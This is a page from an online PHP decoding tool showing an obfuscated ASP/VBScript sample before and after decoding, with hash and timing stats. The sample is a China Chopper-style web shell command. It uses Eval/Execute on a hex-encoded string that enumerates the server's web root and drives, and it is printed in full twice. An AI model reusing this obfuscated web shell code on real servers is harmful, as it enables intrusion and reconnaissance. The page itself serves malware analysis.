Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

xiaoliang=Eval (" Execute(""Function bd(byVal s): For i=1 To Len(s) Step 2:c=Mid(s,i,..

Decoded Output download

<?  xiaoliang=Eval (" 
	Execute(""Function bd(byVal s): 
		For i=1 To Len(s) Step 2:c=Mid(s,i,2): 
			If IsNumeric(Mid(s,i,1))  
				Then:Execute("bd=bd&chr(&H"&c&")"): 
				Else:Execute("bd=bd&chr(&H"&c&Mid(s,i+2,2)&")"): 
			i=i+2: 
			End If""&chr(10)&"" 
		Next: 
	 
End Function:Response.Write("->|"):Execute(""""""""%26bd 
("44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329")):Response.Write("|<-"):Response.End"")") ?>

Did this file decode correctly?

Original Code

xiaoliang=Eval ("
	Execute(""Function bd(byVal s):
		For i=1 To Len(s) Step 2:c=Mid(s,i,2):
			If IsNumeric(Mid(s,i,1)) 
				Then:Execute("bd=bd&chr(&H"&c&")"):
				Else:Execute("bd=bd&chr(&H"&c&Mid(s,i+2,2)&")"):
			i=i+2:
			End If""&chr(10)&""
		Next:
	
End Function:Response.Write("->|"):Execute(""""""""%26bd
("44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222F22292663687228313234293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329")):Response.Write("|<-"):Response.End"")")

Function Calls

None

Variables

None

Stats

MD5 f487d3e860e171a1a5c16095e634b91e
Eval Count 0
Decode Time 85 ms